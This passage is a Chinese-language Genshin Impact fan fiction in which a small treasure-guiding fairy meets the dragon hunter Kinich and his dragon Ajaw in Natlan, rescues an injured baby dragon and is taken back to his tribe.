《欢迎使用仙灵导航！[原神]》
2. 02
#关于我一觉睡到太阳落山，并且藏在宝箱里被人强行叫起床这件事
千灵费劲巴拉地睁开眼睛，发现自己正缩在某个人类的手掌上。她还有些发懵，抬眼与面前的人对视。
一个系着翠色发带的少年。长得尤其漂亮。
格子发带压着他的眉毛，嘴唇抿成一条直线，显得整个人不太容易靠近的模样。
这都不是重点——
重点是，他的旁边，飘着一片马赛克。
之所以用【片】这个量词，因为完全像是纸片上的像素画出来的动画角色，薄薄的一片，强行被拉到现实世界里。
侧面看过去。
“完全就是一张纸啊。”千灵感叹。
阿乔：？
阿乔：“竟敢对吾如此不敬！”
虽然提瓦特是个神奇的大陆，但是马赛克会飘仍然对刚睡醒的千灵来说是一个过于有冲击力的场景了。
马赛克还在质疑她。
还很吵。在大声嚷嚷。
阿乔：“仙灵为什么会说话？！”
千灵不比它冷静多少，同样很震惊地反问：“马赛克为什么会说话？！”
基尼奇：“……”
身为目前在场唯一的人类，貌似才更有资格向两只非人生命进行“为什么会说话”的问题。
但基尼奇选择充当调停者的角色。
基尼奇：“你好，这里是纳塔，人与龙共存的部落。你迷路了？”
千灵干脆盘腿坐到他的手上。这人戴了一双方便捕猎的手套，以及看上去应当挺咯人的腕表。但千灵现在类液体，水泡泡一样吸附住接触到的衣物纤维。
她倒是没什么感觉。但基尼奇看上去像是有些异样。
“怎么了？”阿乔问。
基尼奇客观评价：“稍微有点像史莱姆凝液的手感。”
基尼奇张开手指，又合拢，小小的仙灵逸散开，随着他的动作，又一点点地黏合。
千灵努力平衡自己，最后干脆飘起来，又被基尼奇摁了回去。好吧，还是人类的手掌比较舒服。
千灵认真解释：“首先，我没有迷路。”
千灵：“其次，我只是找一个睡觉的地方。”
她谴责：“你们就开盖了。”
阿乔：“呵，我们还不止想开盖。”
千灵看向基尼奇。希望这位看上去相当公正的基尼奇先生做出判决。
哪想到对方竟然煞有其事地点头。
基尼奇：“我可以把你倒拎起来，抖抖吗？”
千灵：？？
她惊恐后退，在基尼奇的指尖摇摇欲坠。
“你想干什么！”
基尼奇诚实地说：“会不会有可能掉一些珍宝，矿石，或者别的什么。”
最好是摩拉。
千灵拒绝得斩钉截铁：“绝无可能！”
基尼奇“哦”了一声，又无比熟练地继续介绍。介绍完纳塔，然后是他本人。
“[马力卜]的基尼奇，猎龙人，需要委托请一并附上你的出价。”
千灵：“？”
突如其来的插播广告？
千灵举手，虽然以她目前的模样，举的手像是小脑袋旁边突然多了一簇小火苗。
基尼奇：“你有什么想问的？”
千灵于是继续乖乖举手：“提问，你身边的这坨真的是马赛克成精吗？”
阿乔：“庶民！注意你的措辞！”
阿乔大声不平，原本黄色的小龙瞬间变成红色的像素点，语速超级快，鞭炮一样炸得千灵耳朵嗡嗡。
“什么叫‘这坨’？什么叫‘马赛克成精’！”
千灵注意到它的颜色变换：“哇哦。”
千灵恍然说：“还会变色。原来是变色马赛克成精。”
基尼奇：“……所以，你第一个想知道的就是这个？”
基尼奇：“这是与我同行的龙。它叫阿乔。”
然后千灵盯着他。
再然后，一阵风，从寂静无声的他们之间萧瑟穿过。
千灵：……？
嗯？？这就没啦？
阿乔又红了，这下千灵看懂了。
它生气时会变红，平静时会变黄。
好玛丽苏的设定哦。
是不是龙族都是这样多愁善感的情绪生物。这让她想起了伤心了会下雨的某位水龙先生。
千灵看向基尼奇，好奇问：“那你呢？你流眼泪的时候会不会掉珍珠？”
基尼奇：“还有这种好事？”
他现在正缺摩拉。
千灵：？
阿乔还在独自生气：“你就这样介绍我的？”
基尼奇侧头看了这两个小家伙一眼。
耳坠微微晃动。千灵听见他的骨牙耳坠碰撞的响声。
阿乔哼一声，冲着千灵说：“总比无家可归，只能够缩在宝箱里的笨蛋仙灵强多了吧！”
千灵谴责：“你不礼貌。”
阿乔不屑：“我可是威武雄壮的伟大圣龙！”
千灵：“我……我可是能指引宝箱的伟大仙灵！”
可恶！没提前想好自己的名号，莫名有种被比下来的挫败！
真是败笔！
一片龙，一位人类少年突然诡异地静止，随后齐刷刷地看向她。
千灵：？
千灵：“怎、怎么啦……”
她认为现在这一人一马赛克的眼神过于垂涎，仿佛她即将进入什么狼窝。
基尼奇把她放了下来，语气听上去竟然堪称温柔：“来，伟大仙灵，指引一个宝箱看看。”
千灵：“……”
你其实只是想要宝箱里的摩拉吧！我已经把你看得透透的了！
千灵叛逆，一字一顿地说：“我、就、不。”
-
基尼奇与阿乔回到部落。他们手上没有什么仙灵的宝藏，倒是在沿途用铁锹敲掉一些泛白的矿石。
纳塔并没有主城，只有一个竞技场，在没有战争的时候，大家都聚集在各自的部落里。不同的部落有不同的习俗。
也有不同的晚间故事。
夜幕已经降临，基尼奇刚踏入部落，几个小孩便尖叫一声跑回各自的家里。
阿乔幸灾乐祸：“哦哟，原来你是这么受欢迎的啊。”
基尼奇皱了一下眉毛。
他嗅到了风中传来流言的气味，其间夹杂着类似“恶龙”，“黑暗城堡”以及“猎龙人”之类的词语。
他拦下一个男生，问：“你们在聊什么？”
“啊！”那个名叫多巴的男孩子受惊似的一激灵，他家里之前拜托过基尼奇做委托，认清是基尼奇之后，才嗫嚅着说，“是一个关于邪恶城堡的故事，半夜会有蜥蜴变成的人类游荡进部落里寻仇……”
阿乔噗嗤一声笑了出来：“呵呵。你这个绿斑点蜥蜴。知道会吓人就不要走出来吓人了。”
基尼奇的眼瞳，在太阳的照射下呈现一种金灿和翠绿交织的色彩，鲜艳的如同有毒的菌子。
在阿乔的口中，也像某种爬行类蜥蜴。
基尼奇对多巴说：“不用担心。”
悬木人的部落依靠险峻的山石，里面的部族人最喜好极限运动，这样的地形罕少有被魔物入侵的风险。
就连如何抵达部族，对于一般不精通飞行的鸟类来说，都是个问题。
他蹙眉问：“是谁跟你们讲的？”
“一个姐姐说的故事……诶？刚刚她还在这里的？”
基尼奇顺着多巴指的方向看过去，只来得及捕捉到一缕幽蓝色的长发。他身手矫健，一
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甩钩锁就追了上去。
阿乔被丢在后面：“喂！你竟然敢不管伟大圣龙！”
基尼奇相当擅长空中疾行，以及无视阿乔的本领同样炉火纯青。
他三两下荡着钩锁，风一样追踪那个隐约的影子，直接攀上悬崖的峭壁。
接近山顶的地方，有个潮湿的洞穴，能听见里面水潭的流动声。
这里的光线有些昏暗，基尼奇放缓脚步，然而任何生物的呼吸声也没能听见。
积水边生长着发光的蕈类。
很奇怪。
他站在洞穴门口，思考了一会到底要不要进去。耳尖突然传来冰凉的触感。
原来是附着在钟乳石上的泉水，滴到了他的身上。
基尼奇没有在意。
山壁间渗出的泉水通常来讲都很干净，冰凉，如同小蛇一样爬过他的耳蜗，似乎要滴落下去了。
门口阿乔终于飞了上来。
“你这个……你这个无礼的仆从！”
基尼奇没管。
阿乔继续大声说：“那帮长老在到处找你，底下出了大乱子！说是祭礼的圣火失窃了！”
原本已经抬脚的基尼奇一顿，转身立刻走出洞穴。
他的速度实在过于快了，耳朵上的那个小水滴没有来得及掉落回地面。
在距离基尼奇刚刚停留的地方，仅仅只有两步远的距离，幽蓝长发的少女往外面探了个脑袋。
千灵长呼出一口气。
吓死了。
就差一点。
她把自己分散出去一点当作山泉水，试图阻挡基尼奇闯入的想法，还好最后阿乔上来了。
虽然小水滴没什么用。但她本来就是这样一个没什么用的仙灵。
但是小水滴好歹也是组成身体的一部分，现在千灵觉得自己缺失了某些东西。
连带着五感也变得迟钝。
千灵有些茫然地眨眨眼睛。她不太适应这种变化。
扶着山石的手指，突然传来被泉水流淌过的触感。
洞口传来呼啸的风声。
“人类的社会，有时并不安全。”
记忆里，那个同样混迹在人类中的水龙之主这样郑重地对她告诫。
“依赖‘秩序’的建立，才能有保证地杜绝违法犯罪的发生。”
那维莱特那时正在处理公文，从繁忙的事务中抬头，望向她，提醒说：“你可以先学会观察。”
但是纳塔的部族，好像并没有类似审判庭之类的部门。
都是同一片大陆为什么发展差距这么大啊！
蕈类发出的光芒并不足以照亮黑暗更深处的家伙。
千灵绷紧了背，意识到可能梅洛彼得堡那个海底监狱，或许比她现在身处的地方更加安全。
那个黑暗里的家伙似乎正向她缓慢爬行。
千灵一动也不敢动。
窸窸窣窣压过草丛，沾上了水渍，隐约听见了压低的呼噜声。
救命了啊救命了啊我要葬身于此了呃啊啊公爵大人求求您还是抓我回去踩缝纫机啊啊啊枫丹的公职人员对逃犯这么不上心的吗再不来抓我我就要上告审判庭了！那维莱特我要告发梅洛彼得堡的莱欧斯利渎职懈怠玩忽职守罪不容诛啊啊啊！
千灵安详闭眼。
突然，一个不明物体猛地向她的方向抛过来！
安详的千灵吓了一大跳，下意识飘了起来，惊险地躲掉那个速度极快的攻击。
她悬浮在半空，身体缩回仙灵的模样，有些呆呆地注视与地面悬浮的距离。
——才后知后觉意识到一件事。
……对哦！她是仙灵，她会飞啊？
那她到底在怕什么啊？
差点都忘了，都是变人太久了。千灵心想。
惯性思维误我！
3. 03
我错了。
有时倒也不用非要勉强。
千灵支愣了足足长达十秒钟的时间，又躺了回去。
好累哦。
习惯引力之后就觉得还要花力气飘起来真是多余又麻烦。
既然梦里的预言身处一片焦土，而这里相当潮湿，那么自己就必然不会死在这里。
千灵在奋力反抗和随缘摆烂之中选择了奋力摆烂。
作为伟大种族的一脉，千灵的世界里气味，善意，视觉都是共通的。往往能提前规避掉许多危险。
她机灵得像个擅长挖洞逃跑的野生小兔。
只是黑暗里的那家伙，并没有让她产生逃跑的感觉。
虽然一直以来的直觉告诉千灵不必害怕，但是幻想里不可避免地出现了一些激烈的战斗场景。
出现了！
生活在黑夜里的邪恶生物！
千灵一激灵。随即又愤愤心想，不要让指引宝藏的仙灵干这种打打杀杀的活啊！
这让一个只擅长用笔杆子的人上战场有什么区别？
拿起笔杆子，用世界上最狠毒的语言狠狠谴责对方，再画个圈圈诅咒恶龙吗？
于是千灵开始恐吓：“你不要靠过来哦。再靠过来我就……我就把你写到我的下一个诗里面当反派！”
对面无声片刻。
然后好像更兴奋了。
千灵不安地往后靠靠。
心跳越发急促。
在她如临大敌的谨慎注视下，黑暗中的生物缓慢显露出身形。
发出了一声疑惑的：“叽？”
千灵：？
毛茸茸，肉粉色的爪子，翠绿色，长长的耳朵。
一边耷拉着一个耳朵，看起来像双马尾。
——是一只幼龙。
它看起来刚出生不久，水灵灵的一双眼睛充斥着懵懂的茫然，像尚未开封的书页。
千灵捂住心口。
好可爱！
它的爪子还黏了一点果胶，像钩锁一样甩了过去。
似乎并没有谁教过它该怎么使用这个果胶，横冲直撞，愣头青似的扑到了千灵的怀里。
千灵姑且还是个仙灵的模样，被撞得凹了一大块。
幼龙宝宝又叽叽叫了一声，眼神里满是抱歉。
千灵：“没事啦没事啦……”
她抚摸着幼龙的额头，它格外依赖地蹭蹭。
千灵摸着摸着，感觉不太对。
小家伙好像在看着自己的妈妈。
这眼神……是孺慕之情吗……？
千灵抚摸的动作有些僵硬了。
她不会给自己找了个崽崽吧？
千灵摆正它，语气严肃：“你看清楚。我并不是你的母亲。”
幼龙：“叽？”
千灵把自己展开，又浓缩成一小团：“很明显地能看出来，我们甚至不是一个物种！”
一只仙灵和一只龙，只要是拥有了正常视觉的生命体，怎么想都不应该有关系吧！
幼龙眼泪汪汪。
千灵僵持着与它对视。
一、
二、
三——
千灵败北。
千灵：“……”
算了。
孩子高兴，就随它去吧。
她认命地叹了一口气，随后努力回忆起人类群落里的女性长辈，应当用怎样的姿态对待幼崽。
千灵飘起来，额头抵住它的额头。
吐露出属于精灵一族的言语。
[风在这里]
[时间在这里]
[我在这里]
正在哭泣的幼龙停止了眼泪。
残存的眼泪顺着脸颊落下，掉落到山洞里的钟乳石尖。
湿润的空气隐约传来血腥的气味。
千灵飘到有光的一侧。
借着微弱的光线，她敏锐地看清血腥味的来源。
幼龙被毛发掩盖的后颈，明显被锁链磨损产生的伤口，已经快要愈合，血迹流干，展现出过时的暗沉。
即使如此，仍然能看出伤口的可怖。
“谁干的？”
千灵声音变得冷淡。
但幼龙不会说话，而即使是精灵也不共通这片大陆上生命体的所有语言。千灵没能得到回复，反而收获了幼龙更加委屈的模样。
肉粉色的爪子收拢，是索求拥抱的姿态。
千灵温和地回应这个拥抱。
这里足够安全吗？她四下看看，找到了一个更偏僻的洞穴。
她摸了摸它的额头：“小家伙，你先去那边待一会。我很快回来。”
仙灵的移动速度虽然没有很快，但对比起仍然不太擅长人类四肢的千灵来说，还是这样的模样适合移动。
她刚来纳塔，人生地不熟，又不像在枫丹那样有个混到人类社会权力高层的老熟人可以走后门，还是寻求当地人的帮助比较稳妥。
[悬木人]。
千灵记得离这里最近的部族是叫这个。
据说这个部族的成员相当热衷于极限运动，以至于部落都建立在悬崖峭壁之上。
……幸好，她不恐高。
要是身为会飞的造物还要恐高的话，大概会被同族狠狠嘲笑吧。
——但是飞不飞得稳，就是另外一回事了。
千灵从悬崖边砸下去的时候，难得恍惚了一下。
第一反应，好久没有感受过高空坠落的刺激了。
第二反应，幸好自己还算是个仙灵不会被砸死。
最后则是，可恶啊会飞的造物飞不好说出去还是会被狠狠嘲笑吧！
她是与纳塔命里不和吗！
——等等，如果她最终真的会死在纳塔，那这些日子里的命里不和也是有点理由在的。
千灵的性格，曾被那维莱特评价为“擅长过度包容的思维”，或许也是一种种族天赋。
在刚抵达枫丹的时候，在面对情侣吵架时，她也会认真地认为“今天太阳打在花束上的花瓣阴影是偶数所以他不爱我”这种关联性合理。
……这也是后来那维莱特委婉拒绝她提出帮忙分担审判庭事务的原因之一。
她过分擅长找理由了。
因为不熟悉社会的规则，所以奉行着“存在即合理”这一宗旨。
——所以现在，她从几十米的高度下不慎跌落，精灵的形体完好无损也丝毫没有意外。
可能是因为这里的风声很响吧，所以大难不死。
千灵抖抖身子，下意识按了按地面。
即使没有大碍，但仍然脑子撞得有些晕乎乎的。
悬木人的地板砖还怪有弹性。
她打算飘起来，却被莫名其妙地抓住。
千灵：？
她低头。
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刚刚才有过一面之缘的，名为“基尼奇”的少年盘腿坐在地上，一手撑地，一手揪住她，翠绿的格子发带因为冲撞而显得凌乱。
原来不是地板啊……
千灵思维发散。
想起莱欧斯利公爵对她的评价，“实在相当会撞人”。
千灵：“抱歉。可能我就是这么一个擅长撞人的仙灵吧。”
——不止擅长给别人找理由，也相当擅长给自己找理由。
一视同仁的公正仙灵。
基尼奇：“……”
少年戴着手套，传来些微的凉意，触碰到她如同史莱姆一样的身躯。
相当微妙的感觉。
千灵抖了抖悬浮的小披风，想起正事。
这位应当也算是[悬木人]的人？
千灵眨眨眼，说：“有只龙受伤了。”
基尼奇皱了皱眉：“龙？”
纳塔龙的种类还蛮多的。她想了想，把自己捏成刚刚见到的幼龙形象。
一对长长的耳朵耷拉下来，快要垂地。
然后脸颊含着果胶，鼓鼓的。
但是她如同史莱姆凝液的身体实在黏稠。
——左脚和右脚一起糊住了。
再然后，千灵狠狠虚空摔了一跤。
千灵：“……”
面前同样传来很轻的一声气音。
是笑了吧？这小子刚刚笑了吧？
虽然不疼……可是她也觉得自己好好笑。
可恶！
我恨！
千灵含恨憋着，抬头望向基尼奇。
却见基尼奇煞有其事地点点头：“我知道了，是匿叶龙。”
千灵：“……”
这又是怎么看出来的啊？？
难道要承认自己跟幼龙没什么区别吗？
千灵本能地不愿意深究这个答案。
脑子里才又想起第一次见面时，他的自我介绍。
——[马力卜]的基尼奇，猎龙人，需要委托请一并附上你的出价。
猎龙人。
猎龙人。
猎、龙、人……
千灵闭了闭眼。
她可真会寻找帮助对象。
像是察觉到千灵突然的沉默，基尼奇慢吞吞地撑着身子站了起来。
他略微低头，双手往后重新绑上被千灵弄乱的发带，漂亮的瞳孔隐没在发间的阴影，莫名显得相当可靠。
“也不是你想象中的那种见到龙就会不由分说杀死的职业。”少年语气沉稳，轻描淡写，淡淡地解释旁人在他身上过重的偏见。
千灵：“好吧。”
但是很快她又想到后面——‘需要委托请一并附上你的出价’。
千灵：“。”
正巧这时基尼奇问：“你有摩拉么？”
千灵深吸了一口气，想起刚踏进纳塔，便被盗宝团抢劫的凄惨遭遇，最后露宿街头，只能沦落到钻进宝箱里睡觉。
伤心事。
一戳一个伤心事。
半天没能等到回答，基尼奇抬眸看她。
小小的仙灵脆弱又柔软，哽咽的声音像一团飘着细雨的云：“你惹到我，就算是踢到皮球了。”
基尼奇：？
千灵抽噎着说：“我自己会滚。”
基尼奇：“……”
基尼奇：“回来。”
“哦。”
4. 04
既然他诚心诚意地这么说了，千灵就大发慈悲地飞回去。
“那个……”
千灵慢吞吞地问：“你的马赛克跟宠呢？”
“有其他事，让它去调查了。”基尼奇眯起眼睛，看向山崖高处的洞口，像是在思考什么。
之前爬上来的时候不还是挺轻松么？
千灵不知道他为什么怎么迟疑了。
难道在担心她是一个坏心眼的家伙？
千灵振振有词：“伟大仙灵是不会骗人类的哦。你不要担心有陷阱了。”
基尼奇看了她一眼，似乎想要说些什么。
千灵相当警惕，快速开口：“但是我也没什么摩拉了。都被盗宝团抢光啦！”
基尼奇：“……”
好骄傲的语气。
“我是想问，你跟其他人类有过矛盾么？”基尼奇说。
“有吗？”
千灵并不确定。
“有些物种的存在对彼此就是一种威胁了哦。”拥有与时间同等厚重分量的仙灵说，“就像水龙不能在火山里游泳。”
“我不清楚，我算不算你们眼中濒临爆发的火山。”
这个才被盗宝团抢劫完摩拉的小不点，嚷嚷着自己或许是“爆发的火山”。
她一会晃过去一会晃过来，基尼奇看了看千灵不比青蜜莓大多少的形体，突然很快地勾起嘴角，又放下去。
但任何细微的动作都逃不过我们伟大仙灵的眼睛。
千灵质疑：“你是不是又在笑我？”
她扑腾到基尼奇额头前，气呼呼地叉腰，这下又完全没有了之前“我自己会滚”的委屈，架势摆得老大。
离基尼奇的眼睛只有一只蜗牛的距离。
基尼奇的瞳孔尤其漂亮。仿佛一座层叠的山峦，倒映着日出缓慢升起。看得久了，就像漩涡一样。
千灵感觉自己要被吸进去溺死。
此人长得过于好看。
千灵错开视线。
千灵选择暂避锋芒。
基尼奇抬手，指向一个位置，对她说：“洞口有人为布置埋伏的石头陷阱。你刚刚大概就是触发了机关掉下来的，没有注意到么？”
啊？难道是小龙吗？
千灵皱了皱眉，回忆起它眷恋地蹭她手心时的触感。应该不是。
……所以那个山洞里果然还是有更邪恶的家伙吧！
千灵哆嗦了一下，怂怂的。
偏偏这位猎龙人已经做好了前进的架势，他整理了一下手套，动作干脆利落，劲瘦的上身，余晖在他的耳边映出黑色的影子。
他挑眉：“准备好了吗？”
准备好……什么？
千灵迷惑地远望。
这时有一阵风迎面吹了过来，千灵看到基尼奇发带前一缕又一缕的黑发，跟随着山间的气流波动。
山间是不停的风。
竦立的群山，近乎直角的悬崖，巨型的影子。
纳塔的所有，对千灵来说都过于庞大。
任何一样向她倾倒，都能将她压上个几百年。
然而与千灵不同，基尼奇却蓄势待发，眼中涌现出一种名为自由的野性。
像是察觉到千灵古怪的沉默，他揪住她略显蔫答答的小斗篷，拽到自己的肩膀上：“抓紧。”
千灵怂兮兮的，变出一双手，虚虚拢住他的脖子，然后应声：“嗯嗯好的。”
这时候倒挺乖。
脖子上的触感很轻，就像一道细微的水渍。
基尼奇仰起脖子，观察环境。
千灵略显矜持地没有用力抱住，毕竟男女有别嘛，那维莱特教过她一点。
虽然这位好心的猎龙少年还不知道她能够幻化成人形，但姑且还是——啊啊啊啊！！这家伙难道是垂直起飞了吗！！！
下一刻，骤然拔高的高度，伴随猛烈的风声灌进千灵的耳朵。
要看不清了！
好、好高——
原本虚虚拢住的双手像吝啬鬼临死前抓住自己的摩拉一样抓住。
千灵死命抱紧基尼奇。
“慢——一——点——啊！！！”
千灵大声开口，在风中凌乱，长久地回荡。
——悬山峭壁，常有高猿长啸，属引凄异，空谷传响，哀转久绝。
不确定基尼奇是不是真的听见了千灵空谷传响、哀转久绝的喊声。总之，他停了下来。
千灵仿佛感受到自己的心脏怦怦地在跳，超级急促。
真是的！把她吓到心脏都要长出来了！<
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千灵用眼神谴责基尼奇。
恐吓仙灵！罪不容诛！
基尼奇没看她，他观察着更近一点的山洞，淡淡地重复一遍：“我们得绕过那个陷阱，不会走寻常路。你要抓紧。”
千灵哼哼了一声，不情不愿地抱住他的脖子。
“可以再用力一点。”
千灵于是收紧，手掌锁住手腕。
偏偏这个人还是不大满意，基尼奇作势要跳，吓得千灵猛地抱住。
“现在，不是抓得挺紧的吗？”
基尼奇的声音感觉带了点调侃的轻笑。
犹豫了一会，千灵坦白，她说了实话。
“我怕把你勒死。”
“……”
基尼奇半天没说话，偏过脸去。
千灵奇怪地转头去看他，却清清楚楚地看到他翘起的嘴角。
这下完全不用怀疑了，罪证确凿！
她愤愤道：“你看你看！你真的就是在笑我！”
这个人，这个人——亏她一开始还以为是那种沉稳又寡言的冷面酷哥，没想到是一个胆敢面无表情逗弄伟大仙灵的坏家伙！
基尼奇两根手指就轻松地捏起千灵控诉的小拳头，放回自己的脖子上，语气没什么起伏地说：“放心。我还没那么容易死。”
-
“匿叶龙长大后，拥有强壮的后肢与蓬松的尾部，能够吐出藏在颊袋中的果胶，卷住远处的物体。闲暇时，它们会坐在自己的尾巴上。”
绕过陷阱，基尼奇和千灵抵达了山洞。
然后两个人同时见到脸朝地上摔倒的小匿叶龙。
——幼龙并不擅长控制平衡，又或者是尾巴还未能长大的缘故，坐得不算很稳。过一会，就摇摇晃晃地跌倒在地上。
脸朝地的摔，看着都很疼，鼻子都红红的。
这时，基尼奇看了她一眼。
千灵：“……”
这下她知道基尼奇是怎么从她的模仿认出是匿叶龙了。
这真是一个美丽的误会。
……所以我有我的计划。
千灵想，这都是为了模拟出匿叶龙幼崽时期的行为，才以左脚糊住右脚这种天才般的拟态，模仿出了精髓。
绝对、绝对不是她笨蛋。
5. 05
千灵才不管基尼奇到底怎么想，她飘到小匿叶龙的跟前。
小匿叶龙嗅到熟悉的气味，开心地乱蹭。
扑了一会，又歪头疑惑地看她。
之前姑且是个人类的样子了，现在变回仙灵居然还能认出她。
千灵得意心想，孺子可教！哦不，是孺龙可教！
她和小匿叶龙玩的时候，基尼奇正在观察四周的环境。
这是一个潮湿的洞穴，深处被新的藤蔓遮住，看上去是有人刚刚弄的。
“这里不太安全。”基尼奇说，“天快黑了。暂时先回部落。”
他走过来，伸手拎住小匿叶龙的后脖颈。小匿叶龙正在向千灵讨要抱抱，绵软的声音“叽叽”地响。
被基尼奇抓起来的时候，两只爪子还用力地伸展着，像分叉的树枝，腾空的时候脸上晃过真情实感的茫然。
千灵：“噗嗤。”
随即小匿叶龙迅速地反应过来，撒娇的声音顿时变成了压低喉咙的威胁。
仿佛棉花糖变成了暴躁跳跳糖。
千灵飘到基尼奇旁边，幸灾乐祸的：“它看上去对你很不满啊。”
基尼奇：“……”
他没说话，另一只手轻抚过小匿叶龙的耳边，而后到脖颈。
炸毛小龙很快就变成温顺史莱姆。千灵瞠目结舌。
完全从外表看不出来啊。手法竟然这么娴熟的吗？
她开始质疑猎龙人这个职业了。
外面传来淅淅沥沥的声音。
潮湿的空气。好像是下雨了。
小匿叶龙趴在基尼奇的胳膊上，它已经舒服地眯起了眼睛，像是要睡着了。
看到它的样子，千灵忍不住烦恼地想到自己。
啊。那个宝箱肯定被打湿了。她又该去哪里睡觉呢？
小仙灵孤零零地飘在半空中发光，像一团山里的鬼火。
基尼奇抱着小匿叶龙，走在前面，忽然停下了。
他转过半边，侧脸在洞穴门口的光芒下显得轮廓分明。
他说：“走吧。”
“诶？”
千灵指了指自己：“我吗？”
“我是猎龙人。”基尼奇淡淡地说，“你不过来看着我，难道不怕我控制不住，半夜把它杀掉吗？”
千灵：！
小匿叶龙没有听懂。它正天真地蹭新的这条胳膊。
基尼奇的半边脸就这样隐没在阴影里，语气也很淡。
一阵阴风吹过，幼龙情不自禁打了个哆嗦。
气氛都烘托到这里了。
千灵：“……那你还挺坦诚的。”
千灵开始发散思维：“难道你有两个人格，有别人的注视就是好人天使，一旦到了看不见的地方就变成了恶魔？所以必须有人要看着你？”
“或者又受到了某种诅咒，成年前至少得杀掉一百条龙……之类的。”
基尼奇看向这个比划的小仙灵，像一团煮沸的团子在热锅里扑腾，咕噜咕噜地冒泡泡。
他转过头，说：“没那回事。”
他一直没动，就站在洞口，吹了好半天的风，安安静静地在等她飘过来。
千灵有些纠结，又有些犹豫地跟上去。
其实她之前乱说一通，只是想表示她好像跟基尼奇并不熟悉，他就这样把她带回去会不会有些太没防备心了？
也许……也许这也是纳塔的风土人情？
热情好客？
捡到什么东西就喜欢往家里带？
不对。她不是东西。
……呃，大概也不对。
就在千灵胡思乱想的时候，基尼奇好像看见了她的犹豫，说：“下雨了。宝箱容易受潮。”
“啊？”
“宝箱里的摩拉也会受潮。”
“啊？？”
会吗？摩拉会受潮吗？
听说摩拉是璃月的魔神铸成的，材质应该不是容易发霉的类型吧……但是看基尼奇说得这么煞有其事……会吗？
不会吗？
“等雨停了。你先带我去抢救一下摩拉。就当作这次的委托费。”
千灵：“……”
千灵麻木道：“哦。”
真是鸡鸣狗盗，贼不走空啊……呃，好像这词用得也不对？
洞穴尤其陡峭，从这里荡下去比上来的难度更高了。基尼奇单手抱着小匿叶龙，另一只手调试着钩锁。
千灵飘过去，已经很是熟练地扒拉着他的脖子。
她打量了一下。
基尼奇左手抱龙，右手晃着钩锁，脖子上还绕着个仙灵挂件。
每一样空着的地方，都满满当当的。
“你的身体好忙啊。”千灵真情实意地说，“感觉每个四肢都长得很有效率。”
基尼奇：“……”
大概是作为对千灵这句话的回应，他下山的速度要比之前快上不少。
简直是垂直降落，自由落体啊！
千灵方寸大乱，紧紧搂住基尼奇的脖子，在风中凌乱。
这家伙难道是什么赶着去抢降价鸡蛋的老奶奶吗！
-
[悬木人]的部族，依附着陡峭的山崖，几百年生长的高大橡木替他们遮挡了一些错落的雨滴。
基尼奇将系在腰间的外套随意披在脑袋上，小匿叶龙往他怀里钻，挡住越下越大的雨，他敞开一点，看了千灵一眼：“要避雨么？”
千灵晃晃脑袋，继续飘在基尼奇旁边：“不用。”
作为仙灵的时候就是这点好。
“我很少见过仙灵。”基尼奇说，“听说它们会一直在无人的旷野上飘荡。”
“是这样。”千灵说，“我们会等待勇者的到来，然后给他们指路宝箱。”
“刮风下雨的恶劣天气，也就一直这么飘荡着么？”
“是呀。”千灵点点头，“在等到有人发现我们之前。”
然后基尼奇没有说话了。这时前面突然飞溅过来水流，千灵吓了一大跳，下意识躲到基尼奇背后。
“啊啊！不好意思啦！没想到这么大雨还有人在外面！”
相当有活力的声音响起来，千灵探了个脑袋悄悄观察，是一个踩着滑板的女孩子，两人安静地对视了一会，她突然爆发出惊喜的一声。
“哇塞！！基尼奇，这是仙灵吗？”
“嗯。”
“你好你好，我叫玛拉妮！”
玛拉妮笑盈盈地向千灵挥手。
千灵被震住。
好强烈的光芒！
被闪到了！
是属于太阳一样朝气蓬勃的类型！
与潮湿青苔一样的基尼奇截然相反！
千灵
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仿佛一个躲在青苔底下的阴暗生物猝不及防拽到了热气腾腾的烧烤架上，她抖抖小斗篷，矜持地说：“你好。”
“纳塔很少有仙灵啊！我都是听旅行商人提到过，据说你们很会指引宝箱的。是第一次到纳塔吧？嘿嘿，我们这儿的风土人情很不错哦？要不要我给你当向导啊！”
玛拉妮太热情了，说的话噼里啪啦豆子一样砸下来，千灵被淹没在一大堆话里，只能晕乎乎地点头。
基尼奇咳了一声，外套挪动了一个角度。
千灵看见他怀里的小龙，一瞬间清醒了过来。
千灵信口开河：“啊哈哈……谢谢啦，不过不用你当向导啦。我可是引导人类的伟大仙灵啊！”
听到这与阿乔如出一辙的发言，玛拉妮敬佩地望向基尼奇。
“你是什么童话故事里的公主么？”
基尼奇：？
玛拉妮感叹：“还真是受这些小漂浮宠物的欢迎啊。有点羡慕……是天生的体质吗？”
千灵：“……”
基尼奇：“……”
千灵反驳：“啊啊我不是宠物啦！”
基尼奇同样稳重地澄清：“这是我从宝箱里捡到的，后来没想到在废弃的洞穴里跟小匿叶龙一起缩着避雨。”
千灵嘀嘀咕咕：“什么啊，你说的我好像是那种意外掉进兔子洞的失足精灵了。”
他们聊着天，先将小匿叶龙安置在屋檐下，它新到了一个地方，还有点不安，千灵飘在它跟前，努力转移它的注意力。
玛拉妮和基尼奇走到一边。
“我也听说了，你们用于祭祀山王的圣火被人偷走了。”玛拉妮拍拍自己的滑板，“我也帮忙去看看。”
“好。”
“还有那个仙灵……”玛拉妮看过去，“你怎么把人家拐回来了？它们不应该去指引宝箱吗？”
“我感觉她跟别的仙灵不太一样。”基尼奇说，他仰头眺望远处，“看这天色，雨应该还要继续下很久。”
“不太一样？”
童话故事里，没有多少的笔墨着墨于这种小小的生物，大多数都只是指引宝箱的工具人。
每当主角陷入险境，理所当然地就会有出现的仙灵。但是没人在乎它们的过去，现在和未来。
日复一日的等待。
活着的意义就是为了提供一个绝境的出口。
勇者得到了宝藏之后，仙灵的结局仅仅是回归仙灵之庭。然后，连等待的意义都消失了。
“下雨了，大概也只能睡在宝箱，山洞，或者躲进别的偏僻角落里。”基尼奇说。
基尼奇余光看见千灵已经安抚好了小龙，又慢吞吞地准备飘过来。
玛拉妮觉得自己悟了。
她看看千灵，又想到阿乔。它们的人设应该是撞了吧？
玛拉妮好奇问：“那你又把它带上，感觉跟阿乔比起来，怎么样？”
千灵这时也过来了。她就这样静静地看着基尼奇，等着他会说什么话。
“我就在这里哦？”千灵提醒说，“要不要措辞一下语言？”
沉思片刻，基尼奇诚实道：“感觉……是两种不一样的吵法。”
玛拉妮：“……噗。”
千灵：“……”
“你怎么还品鉴上了啊！”
千灵大声表达自己的不满。
6.06
【致：那维莱特】
外面一直在下雨，淅淅沥沥的，叮叮咚咚敲打着窗棂，很有节奏，像煮开了的水壶。
